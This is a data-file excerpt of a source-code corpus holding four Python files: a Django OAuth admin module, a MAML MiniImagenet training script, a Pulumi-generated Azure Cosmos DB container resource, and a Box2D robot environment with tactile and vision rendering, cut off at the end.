blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 5
283
| content_id
stringlengths 40
40
| detected_licenses
sequencelengths 0
41
| license_type
stringclasses 2
values | repo_name
stringlengths 7
96
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringclasses 58
values | visit_date
timestamp[us] | revision_date
timestamp[us] | committer_date
timestamp[us] | github_id
int64 12.7k
662M
⌀ | star_events_count
int64 0
35.5k
| fork_events_count
int64 0
20.6k
| gha_license_id
stringclasses 11
values | gha_event_created_at
timestamp[us] | gha_created_at
timestamp[us] | gha_language
stringclasses 43
values | src_encoding
stringclasses 9
values | language
stringclasses 1
value | is_vendor
bool 2
classes | is_generated
bool 2
classes | length_bytes
int64 7
5.88M
| extension
stringclasses 30
values | content
stringlengths 7
5.88M
| authors
sequencelengths 1
1
| author
stringlengths 0
73
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
3cc0e4bf53df0668f30ac7ba6dff10ef21a8d6fe | 241cc30b91e910caf6a9a47a156813ccc495e069 | /oauth/admin.py | ec0e3c997b041390b5ebe6a8fdf6ec0aa0cdb55a | [
"MIT"
] | permissive | colinshin/DjangoBlog | 9f430ffb3faae32553b2ec17a2351aa7dec36ce7 | c6277d2c35b021806be0fa623f1451c201e9677d | refs/heads/master | 2022-11-20T09:58:17.937199 | 2022-10-28T03:36:18 | 2022-10-28T03:36:18 | 266,242,440 | 1 | 0 | MIT | 2020-05-23T01:42:35 | 2020-05-23T01:42:34 | null | UTF-8 | Python | false | false | 1,649 | py | import logging
from django.contrib import admin
# Register your models here.
from django.urls import reverse
from django.utils.html import format_html
logger = logging.getLogger(__name__)
class OAuthUserAdmin(admin.ModelAdmin):
search_fields = ('nikename', 'email')
list_per_page = 20
list_display = (
'id',
'nikename',
'link_to_usermodel',
'show_user_image',
'type',
'email',
)
list_display_links = ('id', 'nikename')
list_filter = ('author', 'type',)
readonly_fields = []
def get_readonly_fields(self, request, obj=None):
return list(self.readonly_fields) + \
[field.name for field in obj._meta.fields] + \
[field.name for field in obj._meta.many_to_many]
def has_add_permission(self, request):
return False
def link_to_usermodel(self, obj):
if obj.author:
info = (obj.author._meta.app_label, obj.author._meta.model_name)
link = reverse('admin:%s_%s_change' % info, args=(obj.author.id,))
return format_html(
u'<a href="%s">%s</a>' %
(link, obj.author.nickname if obj.author.nickname else obj.author.email))
def show_user_image(self, obj):
img = obj.picture
return format_html(
u'<img src="%s" style="width:50px;height:50px"></img>' %
(img))
link_to_usermodel.short_description = '用户'
show_user_image.short_description = '用户头像'
class OAuthConfigAdmin(admin.ModelAdmin):
list_display = ('type', 'appkey', 'appsecret', 'is_enable')
list_filter = ('type',)
| [
"[email protected]"
] | |
5b3f2db8cc204bac6bf1646b7eecb502aef8925b | 606ce598a58ec7aced81bac65283c53090393742 | /old-version/train_mini_adam.py | 88a28ed3d0978c7e1687b786b0c6edc8309b7c08 | [] | no_license | 4knahs/MAML-Pytorch-Multi-GPUs | 67cbea09b4aa653cdccc418625f027b34599db2e | 909df4f26f9a8009111371a0fb4df31de7afb937 | refs/heads/master | 2023-01-22T14:47:40.273586 | 2020-12-04T10:22:47 | 2020-12-04T10:22:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,797 | py | import torch, os
import numpy as np
from MiniImagenet import MiniImagenet
import scipy.stats
from torch.utils.data import DataLoader
from torch.optim import lr_scheduler
import random, sys, pickle
import argparse
from meta import Meta
from torch import optim
import plot
import json
import time
from copy import deepcopy
argparser = argparse.ArgumentParser()
argparser.add_argument('--epoch', type=int, help='epoch number', default=600000)
argparser.add_argument('--n_way', type=int, help='n way', default=5)
argparser.add_argument('--k_spt', type=int, help='k shot for support set', default=1)
argparser.add_argument('--k_qry', type=int, help='k shot for query set', default=15)
argparser.add_argument('--imgsz', type=int, help='imgsz', default=84)
argparser.add_argument('--imgc', type=int, help='imgc', default=3)
argparser.add_argument('--task_num', type=int, help='meta batch size, namely task num', default=4)
argparser.add_argument('--meta_lr', type=float, help='meta-level outer learning rate', default=1e-3)
argparser.add_argument('--update_lr', type=float, help='task-level inner update learning rate', default=1e-2)
argparser.add_argument('--update_step', type=int, help='task-level inner update steps', default=5)
argparser.add_argument('--update_step_test', type=int, help='update steps for finetunning', default=10)
argparser.add_argument('--weight_decay', type=float, default=1e-4)
args = argparser.parse_args()
print(args)
#os.environ['CUDA_VISIBLE_DEVICES'] = '1,3'
class Param:
device = 'cuda' if torch.cuda.is_available() else 'cpu'
data_path = '/home/haoran/meta/miniimagenet/'
out_path = '/home/haoran/meta/one/adam_clip/'
#root = '/home/haoran/meta/miniimagenet/'
#root = '/storage/haoran/miniimagenet/'
#root = '/disk/0/storage/haoran/miniimagenet/'
root = '/mnt/hd/0/storage/haoran/miniimagenet/' #change to your own root!#
config = [
('conv2d', [32, 3, 3, 3, 1, 0]),
('relu', [True]),
('bn', [32]),
('max_pool2d', [2, 2, 0]),
('conv2d', [32, 32, 3, 3, 1, 0]),
('relu', [True]),
('bn', [32]),
('max_pool2d', [2, 2, 0]),
('conv2d', [32, 32, 3, 3, 1, 0]),
('relu', [True]),
('bn', [32]),
('max_pool2d', [2, 2, 0]),
('conv2d', [32, 32, 3, 3, 1, 0]),
('relu', [True]),
('bn', [32]),
('max_pool2d', [2, 1, 0]),
('flatten', []),
('linear', [args.n_way, 32 * 5 * 5])
]
if not os.path.exists(Param.out_path):
os.makedirs(Param.out_path)
def mean_confidence_interval(accs, confidence=0.95):
n = accs.shape[0]
m, se = np.mean(accs), scipy.stats.sem(accs)
h = se * scipy.stats.t._ppf((1 + confidence) / 2, n - 1)
return m, h
def inf_get(train):
while (True):
for x in train:
yield x
def main():
torch.manual_seed(222)
torch.cuda.manual_seed_all(222)
np.random.seed(222)
test_result = {}
best_acc = 0.0
maml = Meta(args, Param.config).to(Param.device)
maml = torch.nn.DataParallel(maml)
opt = optim.Adam(maml.parameters(), lr=args.meta_lr)
#opt = optim.SGD(maml.parameters(), lr=args.meta_lr, momentum=0.9, weight_decay=args.weight_decay)
tmp = filter(lambda x: x.requires_grad, maml.parameters())
num = sum(map(lambda x: np.prod(x.shape), tmp))
print(maml)
print('Total trainable tensors:', num)
trainset = MiniImagenet(Param.root, mode='train', n_way=args.n_way, k_shot=args.k_spt, k_query=args.k_qry, resize=args.imgsz)
testset = MiniImagenet(Param.root, mode='test', n_way=args.n_way, k_shot=args.k_spt, k_query=args.k_qry, resize=args.imgsz)
trainloader = DataLoader(trainset, batch_size=args.task_num, shuffle=True, num_workers=4, drop_last=True)
testloader = DataLoader(testset, batch_size=4, shuffle=True, num_workers=4, drop_last=True)
train_data = inf_get(trainloader)
test_data = inf_get(testloader)
for epoch in range(args.epoch):
support_x, support_y, meta_x, meta_y = train_data.__next__()
support_x, support_y, meta_x, meta_y = support_x.to(Param.device), support_y.to(Param.device), meta_x.to(Param.device), meta_y.to(Param.device)
meta_loss = maml(support_x, support_y, meta_x, meta_y).mean()
opt.zero_grad()
meta_loss.backward()
torch.nn.utils.clip_grad_value_(maml.parameters(), clip_value = 10.0)
opt.step()
plot.plot('meta_loss', meta_loss.item())
if(epoch % 1000 == 999):
ans = None
maml_clone = deepcopy(maml)
for _ in range(25):
support_x, support_y, qx, qy = test_data.__next__()
support_x, support_y, qx, qy = support_x.to(Param.device), support_y.to(Param.device), qx.to(Param.device), qy.to(Param.device)
temp = maml_clone(support_x, support_y, qx, qy, meta_train = False)
if(ans is None):
ans = temp
else:
ans = torch.cat([ans, temp], dim = 0)
ans = ans.mean(dim = 0).tolist()
test_result[epoch] = ans
if (ans[-1] > best_acc):
best_acc = ans[-1]
torch.save(maml.state_dict(), Param.out_path + 'net_'+ str(epoch) + '_' + str(best_acc) + '.pkl')
del maml_clone
print(str(epoch) + ': '+str(ans))
with open(Param.out_path+'test.json','w') as f:
json.dump(test_result,f)
if (epoch < 5) or (epoch % 100 == 99):
plot.flush()
plot.tick()
os.chdir(Param.out_path)
if __name__ == '__main__':
main()
| [
"[email protected]"
] | |
be87e3e3527ab307193055be701682d413b1cc16 | 48e124e97cc776feb0ad6d17b9ef1dfa24e2e474 | /sdk/python/pulumi_azure_native/documentdb/v20160331/database_account_sql_container.py | 191b17f169c9af8d1dff8099523bd2e48926fa88 | [
"BSD-3-Clause",
"Apache-2.0"
] | permissive | bpkgoud/pulumi-azure-native | 0817502630062efbc35134410c4a784b61a4736d | a3215fe1b87fba69294f248017b1591767c2b96c | refs/heads/master | 2023-08-29T22:39:49.984212 | 2021-11-15T12:43:41 | 2021-11-15T12:43:41 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 16,736 | py | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
from . import outputs
from ._enums import *
from ._inputs import *
__all__ = ['DatabaseAccountSqlContainerArgs', 'DatabaseAccountSqlContainer']
@pulumi.input_type
class DatabaseAccountSqlContainerArgs:
def __init__(__self__, *,
account_name: pulumi.Input[str],
database_name: pulumi.Input[str],
options: pulumi.Input[Mapping[str, pulumi.Input[str]]],
resource: pulumi.Input['SqlContainerResourceArgs'],
resource_group_name: pulumi.Input[str],
container_name: Optional[pulumi.Input[str]] = None):
"""
The set of arguments for constructing a DatabaseAccountSqlContainer resource.
:param pulumi.Input[str] account_name: Cosmos DB database account name.
:param pulumi.Input[str] database_name: Cosmos DB database name.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] options: A key-value pair of options to be applied for the request. This corresponds to the headers sent with the request.
:param pulumi.Input['SqlContainerResourceArgs'] resource: The standard JSON format of a container
:param pulumi.Input[str] resource_group_name: Name of an Azure resource group.
:param pulumi.Input[str] container_name: Cosmos DB container name.
"""
pulumi.set(__self__, "account_name", account_name)
pulumi.set(__self__, "database_name", database_name)
pulumi.set(__self__, "options", options)
pulumi.set(__self__, "resource", resource)
pulumi.set(__self__, "resource_group_name", resource_group_name)
if container_name is not None:
pulumi.set(__self__, "container_name", container_name)
@property
@pulumi.getter(name="accountName")
def account_name(self) -> pulumi.Input[str]:
"""
Cosmos DB database account name.
"""
return pulumi.get(self, "account_name")
@account_name.setter
def account_name(self, value: pulumi.Input[str]):
pulumi.set(self, "account_name", value)
@property
@pulumi.getter(name="databaseName")
def database_name(self) -> pulumi.Input[str]:
"""
Cosmos DB database name.
"""
return pulumi.get(self, "database_name")
@database_name.setter
def database_name(self, value: pulumi.Input[str]):
pulumi.set(self, "database_name", value)
@property
@pulumi.getter
def options(self) -> pulumi.Input[Mapping[str, pulumi.Input[str]]]:
"""
A key-value pair of options to be applied for the request. This corresponds to the headers sent with the request.
"""
return pulumi.get(self, "options")
@options.setter
def options(self, value: pulumi.Input[Mapping[str, pulumi.Input[str]]]):
pulumi.set(self, "options", value)
@property
@pulumi.getter
def resource(self) -> pulumi.Input['SqlContainerResourceArgs']:
"""
The standard JSON format of a container
"""
return pulumi.get(self, "resource")
@resource.setter
def resource(self, value: pulumi.Input['SqlContainerResourceArgs']):
pulumi.set(self, "resource", value)
@property
@pulumi.getter(name="resourceGroupName")
def resource_group_name(self) -> pulumi.Input[str]:
"""
Name of an Azure resource group.
"""
return pulumi.get(self, "resource_group_name")
@resource_group_name.setter
def resource_group_name(self, value: pulumi.Input[str]):
pulumi.set(self, "resource_group_name", value)
@property
@pulumi.getter(name="containerName")
def container_name(self) -> Optional[pulumi.Input[str]]:
"""
Cosmos DB container name.
"""
return pulumi.get(self, "container_name")
@container_name.setter
def container_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "container_name", value)
class DatabaseAccountSqlContainer(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
account_name: Optional[pulumi.Input[str]] = None,
container_name: Optional[pulumi.Input[str]] = None,
database_name: Optional[pulumi.Input[str]] = None,
options: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
resource: Optional[pulumi.Input[pulumi.InputType['SqlContainerResourceArgs']]] = None,
resource_group_name: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
An Azure Cosmos DB container.
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] account_name: Cosmos DB database account name.
:param pulumi.Input[str] container_name: Cosmos DB container name.
:param pulumi.Input[str] database_name: Cosmos DB database name.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] options: A key-value pair of options to be applied for the request. This corresponds to the headers sent with the request.
:param pulumi.Input[pulumi.InputType['SqlContainerResourceArgs']] resource: The standard JSON format of a container
:param pulumi.Input[str] resource_group_name: Name of an Azure resource group.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: DatabaseAccountSqlContainerArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
An Azure Cosmos DB container.
:param str resource_name: The name of the resource.
:param DatabaseAccountSqlContainerArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(DatabaseAccountSqlContainerArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
account_name: Optional[pulumi.Input[str]] = None,
container_name: Optional[pulumi.Input[str]] = None,
database_name: Optional[pulumi.Input[str]] = None,
options: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
resource: Optional[pulumi.Input[pulumi.InputType['SqlContainerResourceArgs']]] = None,
resource_group_name: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = DatabaseAccountSqlContainerArgs.__new__(DatabaseAccountSqlContainerArgs)
if account_name is None and not opts.urn:
raise TypeError("Missing required property 'account_name'")
__props__.__dict__["account_name"] = account_name
__props__.__dict__["container_name"] = container_name
if database_name is None and not opts.urn:
raise TypeError("Missing required property 'database_name'")
__props__.__dict__["database_name"] = database_name
if options is None and not opts.urn:
raise TypeError("Missing required property 'options'")
__props__.__dict__["options"] = options
if resource is None and not opts.urn:
raise TypeError("Missing required property 'resource'")
__props__.__dict__["resource"] = resource
if resource_group_name is None and not opts.urn:
raise TypeError("Missing required property 'resource_group_name'")
__props__.__dict__["resource_group_name"] = resource_group_name
__props__.__dict__["conflict_resolution_policy"] = None
__props__.__dict__["default_ttl"] = None
__props__.__dict__["etag"] = None
__props__.__dict__["indexing_policy"] = None
__props__.__dict__["location"] = None
__props__.__dict__["name"] = None
__props__.__dict__["partition_key"] = None
__props__.__dict__["rid"] = None
__props__.__dict__["tags"] = None
__props__.__dict__["ts"] = None
__props__.__dict__["type"] = None
__props__.__dict__["unique_key_policy"] = None
alias_opts = pulumi.ResourceOptions(aliases=[pulumi.Alias(type_="azure-native:documentdb:DatabaseAccountSqlContainer"), pulumi.Alias(type_="azure-native:documentdb/v20150401:DatabaseAccountSqlContainer"), pulumi.Alias(type_="azure-native:documentdb/v20150408:DatabaseAccountSqlContainer"), pulumi.Alias(type_="azure-native:documentdb/v20151106:DatabaseAccountSqlContainer"), pulumi.Alias(type_="azure-native:documentdb/v20160319:DatabaseAccountSqlContainer"), pulumi.Alias(type_="azure-native:documentdb/v20190801:DatabaseAccountSqlContainer"), pulumi.Alias(type_="azure-native:documentdb/v20191212:DatabaseAccountSqlContainer"), pulumi.Alias(type_="azure-native:documentdb/v20200301:DatabaseAccountSqlContainer"), pulumi.Alias(type_="azure-native:documentdb/v20200401:DatabaseAccountSqlContainer"), pulumi.Alias(type_="azure-native:documentdb/v20200601preview:DatabaseAccountSqlContainer"), pulumi.Alias(type_="azure-native:documentdb/v20200901:DatabaseAccountSqlContainer"), pulumi.Alias(type_="azure-native:documentdb/v20210115:DatabaseAccountSqlContainer"), pulumi.Alias(type_="azure-native:documentdb/v20210301preview:DatabaseAccountSqlContainer"), pulumi.Alias(type_="azure-native:documentdb/v20210315:DatabaseAccountSqlContainer"), pulumi.Alias(type_="azure-native:documentdb/v20210401preview:DatabaseAccountSqlContainer"), pulumi.Alias(type_="azure-native:documentdb/v20210415:DatabaseAccountSqlContainer"), pulumi.Alias(type_="azure-native:documentdb/v20210515:DatabaseAccountSqlContainer"), pulumi.Alias(type_="azure-native:documentdb/v20210615:DatabaseAccountSqlContainer"), pulumi.Alias(type_="azure-native:documentdb/v20210701preview:DatabaseAccountSqlContainer"), pulumi.Alias(type_="azure-native:documentdb/v20211015:DatabaseAccountSqlContainer"), pulumi.Alias(type_="azure-native:documentdb/v20211015preview:DatabaseAccountSqlContainer")])
opts = pulumi.ResourceOptions.merge(opts, alias_opts)
super(DatabaseAccountSqlContainer, __self__).__init__(
'azure-native:documentdb/v20160331:DatabaseAccountSqlContainer',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None) -> 'DatabaseAccountSqlContainer':
"""
Get an existing DatabaseAccountSqlContainer resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = DatabaseAccountSqlContainerArgs.__new__(DatabaseAccountSqlContainerArgs)
__props__.__dict__["conflict_resolution_policy"] = None
__props__.__dict__["default_ttl"] = None
__props__.__dict__["etag"] = None
__props__.__dict__["indexing_policy"] = None
__props__.__dict__["location"] = None
__props__.__dict__["name"] = None
__props__.__dict__["partition_key"] = None
__props__.__dict__["rid"] = None
__props__.__dict__["tags"] = None
__props__.__dict__["ts"] = None
__props__.__dict__["type"] = None
__props__.__dict__["unique_key_policy"] = None
return DatabaseAccountSqlContainer(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="conflictResolutionPolicy")
def conflict_resolution_policy(self) -> pulumi.Output[Optional['outputs.ConflictResolutionPolicyResponse']]:
"""
The conflict resolution policy for the container.
"""
return pulumi.get(self, "conflict_resolution_policy")
@property
@pulumi.getter(name="defaultTtl")
def default_ttl(self) -> pulumi.Output[Optional[int]]:
"""
Default time to live
"""
return pulumi.get(self, "default_ttl")
@property
@pulumi.getter
def etag(self) -> pulumi.Output[Optional[str]]:
"""
A system generated property representing the resource etag required for optimistic concurrency control.
"""
return pulumi.get(self, "etag")
@property
@pulumi.getter(name="indexingPolicy")
def indexing_policy(self) -> pulumi.Output[Optional['outputs.IndexingPolicyResponse']]:
"""
The configuration of the indexing policy. By default, the indexing is automatic for all document paths within the container
"""
return pulumi.get(self, "indexing_policy")
@property
@pulumi.getter
def location(self) -> pulumi.Output[Optional[str]]:
"""
The location of the resource group to which the resource belongs.
"""
return pulumi.get(self, "location")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
The name of the database account.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="partitionKey")
def partition_key(self) -> pulumi.Output[Optional['outputs.ContainerPartitionKeyResponse']]:
"""
The configuration of the partition key to be used for partitioning data into multiple partitions
"""
return pulumi.get(self, "partition_key")
@property
@pulumi.getter
def rid(self) -> pulumi.Output[Optional[str]]:
"""
A system generated property. A unique identifier.
"""
return pulumi.get(self, "rid")
@property
@pulumi.getter
def tags(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
"""
Tags are a list of key-value pairs that describe the resource. These tags can be used in viewing and grouping this resource (across resource groups). A maximum of 15 tags can be provided for a resource. Each tag must have a key no greater than 128 characters and value no greater than 256 characters. For example, the default experience for a template type is set with "defaultExperience": "Cassandra". Current "defaultExperience" values also include "Table", "Graph", "DocumentDB", and "MongoDB".
"""
return pulumi.get(self, "tags")
@property
@pulumi.getter
def ts(self) -> pulumi.Output[Optional[Any]]:
"""
A system generated property that denotes the last updated timestamp of the resource.
"""
return pulumi.get(self, "ts")
@property
@pulumi.getter
def type(self) -> pulumi.Output[str]:
"""
The type of Azure resource.
"""
return pulumi.get(self, "type")
@property
@pulumi.getter(name="uniqueKeyPolicy")
def unique_key_policy(self) -> pulumi.Output[Optional['outputs.UniqueKeyPolicyResponse']]:
"""
The unique key policy configuration for specifying uniqueness constraints on documents in the collection in the Azure Cosmos DB service.
"""
return pulumi.get(self, "unique_key_policy")
| [
"[email protected]"
] | |
d1dbd07f48ee61b07f1e78d5558b8b346bf2a3be | 297d3bd029525467f97b6d2eb0145917fad24c7d | /src/environment.py | c135e48ebd4fdc9fca0cf34d0d7d389d7a4e7ae1 | [] | no_license | charleswilmot/intrinsic_motivations_box2d | a666fa88ba99bd9b3df2cbdb1f69f0d6c7a4f75e | 3ed1f3dcd4053f74ad5f72bfaba3f75e9285eb90 | refs/heads/master | 2021-07-24T06:52:32.071769 | 2019-05-22T14:08:08 | 2019-05-22T14:08:08 | 157,392,548 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 15,621 | py | import matplotlib.pyplot as plt
from matplotlib.patches import Polygon
import jsonpybox2d as json2d
import numpy as np
import tactile_map as tm
import pid
from PIL import Image, ImageDraw
import pickle
def discretize(arr, mini, maxi, n):
discrete = np.tile(np.linspace(mini, maxi, n), list(arr.shape) + [1])
discrete -= np.expand_dims(arr, -1)
discrete = np.cos(np.pi * discrete / (maxi - mini) - np.pi * (maxi + mini) / (maxi - mini)) ** 200
return discrete
def custom_mod_2_pi(x, center=0.0):
return ((x + np.pi - center) % (2 * np.pi)) - (np.pi - center)
class Environment(object):
""" 2D physics using box2d and a json conf file
"""
def __init__(self, world_file, skin_order, skin_resolution, xlim, ylim, dpi, env_step_length,
dt=1 / 120.0, n_discrete=32):
"""
:param world_file: the json file from which all objects are created
:type world_file: string
:param dt: the amount of time to simulate, this should not vary.
:type dt: float
:param pos_iters: for the velocity constraint solver.
:type pos_iters: int
:param vel_iters: for the position constraint solver.
:type vel_iters: int
"""
world, bodies, joints = json2d.createWorldFromJson(world_file)
self._count = 0
self.dt = dt
self._vel_iters = 6
self._pos_iters = 2
self._dpi = dpi
self.env_step_length = env_step_length
self._n_discrete = n_discrete
self.world = world
self.bodies = bodies
self.to_name = {self.bodies[name]: name for name in self.bodies}
self.contact_logs = {}
self.joints = joints
self.used_bodies = {k: bodies[k] for k in bodies if k in [a for a, b in skin_order]}
self.joint_pids = {key: pid.PID(dt=self.dt)
for key in self.joints}
self._joint_keys = [key for key in sorted(self.joints)]
self._joint_keys.sort()
self._buf_positions = np.zeros(len(self.joints))
self._buf_target_positions = np.zeros(len(self.joints))
self._buf_speeds = np.zeros(len(self.joints))
self.skin = tm.Skin(self.bodies, skin_order, skin_resolution)
self._joints_in_position_mode = set()
tactile_bodies_names = set([body_name for body_name, edge in skin_order])
self.renderer = Renderer(self.bodies, xlim, ylim, tactile_bodies_names=tactile_bodies_names, dpi=dpi)
self._computed_vision = False
self._computed_tactile = False
self._computed_positions = False
self._computed_discrete_positions = False
self._computed_speeds = False
self._computed_discrete_speeds = False
self._computed_target_positions = False
self._computed_discrete_target_positions = False
def log_contacts(self):
contacts = {body:
[self.to_name[ce.other] for ce in self.bodies[body].contacts
if ce.contact.touching] for body in self.used_bodies}
contacts = {body: contacts[body] for body in contacts if len(contacts[body]) > 0}
if len(contacts) != 0:
if self._count in self.contact_logs:
for body in contacts:
if body in self.contact_logs[self._count]:
for other in contacts[body]:
if other not in self.contact_logs[self._count][body]:
self.contact_logs[self._count][body].append(other)
else:
self.contact_logs[self._count][body] = contacts[body]
else:
self.contact_logs[self._count] = contacts
def save_contact_logs(self, path):
with open(path, "wb") as f:
pickle.dump(self.contact_logs, f)
def set_speeds(self, speeds):
for key in speeds:
if key in self.joints:
if key in self._joints_in_position_mode:
self._joints_in_position_mode.remove(key)
self.joints[key].motorSpeed = np.float64(speeds[key])
def set_positions_old(self, positions):
for i, key in enumerate(self._joint_keys):
if key in positions:
self._joints_in_position_mode.add(key)
current = self.joints[key].angle
position = positions[key]
if self.joints[key].limitEnabled:
pos = position
else:
abs_position = (position % (2 * np.pi)) - np.pi
abs_current = (current % (2 * np.pi)) - np.pi
diff = abs_current - abs_position
inner = abs(diff)
outer = 2 * np.pi - inner
if inner > outer:
if diff > 0:
delta = 2 * np.pi - inner
else:
delta = -2 * np.pi + inner
else:
if diff > 0:
delta = -inner
else:
delta = inner
pos = current + delta
self._buf_target_positions[i] = pos
self.joint_pids[key].setpoint = pos
def set_positions_old_but_not_so_old_but_still_old(self, positions):
threshold = 0.05
for i, key in enumerate(self._joint_keys):
if key in positions:
self._joints_in_position_mode.add(key)
pos = positions[key]
if self.joints[key].limitEnabled:
min_lim, max_lim = self.joints[key].limits
if pos < min_lim + threshold:
pos = min_lim - threshold * threshold / (pos - 2 * threshold - min_lim)
elif pos > max_lim - threshold:
pos = max_lim - threshold * threshold / (pos + 2 * threshold - max_lim)
self._buf_target_positions[i] = pos
self.joint_pids[key].setpoint = pos
self._computed_discrete_target_positions = False
def set_positions(self, positions):
threshold = 0.05
for i, key in enumerate(self._joint_keys):
if key in positions:
self._joints_in_position_mode.add(key)
pos = positions[key]
current = self.joints[key].angle
if self.joints[key].limitEnabled:
min_lim, max_lim = self.joints[key].limits
if pos < min_lim + threshold:
pos = min_lim - threshold * threshold / (pos - 2 * threshold - min_lim)
elif pos > max_lim - threshold:
pos = max_lim - threshold * threshold / (pos + 2 * threshold - max_lim)
else:
pos = custom_mod_2_pi(pos, center=current)
self._buf_target_positions[i] = pos
self.joint_pids[key].setpoint = pos
self._computed_discrete_target_positions = False
def step(self):
for key in self._joints_in_position_mode:
self.joint_pids[key].step(self.joints[key].angle)
self.joints[key].motorSpeed = np.clip(self.joint_pids[key].output, -np.pi, np.pi)
self.log_contacts()
self.world.Step(self.dt, self._vel_iters, self._pos_iters)
self._computed_vision = False
self._computed_tactile = False
self._computed_positions = False
self._computed_discrete_positions = False
self._computed_speeds = False
self._computed_discrete_speeds = False
self._computed_target_positions = False
self._computed_discrete_target_positions = False
def env_step(self):
for i in range(self.env_step_length):
self.step()
self._count += 1
def _get_state_vision(self):
if self._computed_vision:
return self._buf_vision
else:
self._buf_vision = self.renderer.step()
self._computed_vision = True
return self._buf_vision
def _get_state_tactile(self):
if self._computed_tactile:
return self._buf_tactile
else:
self._buf_tactile = self.skin.compute_map()
self._computed_tactile = True
return self._buf_tactile
def _get_state_positions_old(self):
if self._computed_positions:
return self._buf_positions
else:
for i, key in enumerate(self._joint_keys):
self._buf_positions[i] = self.joints[key].angle
self._buf_positions %= 2 * np.pi
self._buf_positions -= np.pi
self._computed_positions = True
return self._buf_positions
def _get_state_positions(self):
if self._computed_positions:
return self._buf_positions
else:
for i, key in enumerate(self._joint_keys):
self._buf_positions[i] = self.joints[key].angle
self._computed_positions = True
return self._buf_positions
def _get_state_discrete_positions(self):
if self._computed_discrete_positions:
return self._buf_discrete_positions
else:
self._buf_discrete_positions = discretize(self.positions, -np.pi, np.pi, self._n_discrete)
self._computed_discrete_positions = True
return self._buf_discrete_positions
def _get_state_speeds(self):
if self._computed_speeds:
return self._buf_speeds
else:
for i, key in enumerate(self._joint_keys):
self._buf_speeds[i] = self.joints[key].speed
self._computed_speeds = True
return self._buf_speeds
def _get_state_discrete_speeds(self):
if self._computed_discrete_speeds:
return self._buf_discrete_speeds
else:
self._buf_discrete_speeds = discretize(self.speeds, -np.pi, np.pi, self._n_discrete)
self._computed_discrete_speeds = True
return self._buf_discrete_speeds
def _get_state_target_positions(self):
return self._buf_target_positions
def _get_state_discrete_target_positions(self):
if self._computed_discrete_target_positions:
return self._buf_discrete_target_positions
else:
self._buf_discrete_target_positions = discretize(self.target_positions, -np.pi, np.pi, self._n_discrete)
self._computed_discrete_target_positions = True
return self._buf_discrete_target_positions
def _get_state(self):
vision = self.vision
positions = self.positions
speeds = self.speeds
tactile_map = self.tactile
return vision, positions, speeds, tactile_map
state = property(_get_state)
positions = property(_get_state_positions)
discrete_positions = property(_get_state_discrete_positions)
speeds = property(_get_state_speeds)
discrete_speeds = property(_get_state_discrete_speeds)
target_positions = property(_get_state_target_positions)
discrete_target_positions = property(_get_state_discrete_target_positions)
vision = property(_get_state_vision)
tactile = property(_get_state_tactile)
class RendererOld:
def __init__(self, bodies, xlim, ylim, dpi, tactile_bodies_names=[]):
self.bodies = bodies
self.tactile_bodies_names = tactile_bodies_names
self.fig = plt.figure(figsize=(xlim[1] - xlim[0], ylim[1] - ylim[0]), dpi=dpi)
self.fig.subplots_adjust(left=0.0, right=1.0, top=1.0, bottom=0.0)
self.ax = self.fig.add_subplot(111, aspect="equal")
self.ax.axis('off')
self.polygons = {}
for key in self.bodies:
self.polygons[key] = Polygon([[0, 0]], True)
self.ax.add_artist(self.polygons[key])
self.ax.set_xlim(xlim)
self.ax.set_ylim(ylim)
def step(self):
for key in self.polygons:
body = self.bodies[key]
touching = [ce.contact.touching for ce in body.contacts if ce.contact.touching]
vercs = np.vstack(body.fixtures[0].shape.vertices)
data = np.vstack([body.GetWorldPoint(vercs[x])
for x in range(len(vercs))])
self.polygons[key].set_xy(data)
self.polygons[key].set_color(
(1, 0, 0) if len(touching) > 0 and key in self.tactile_bodies_names else
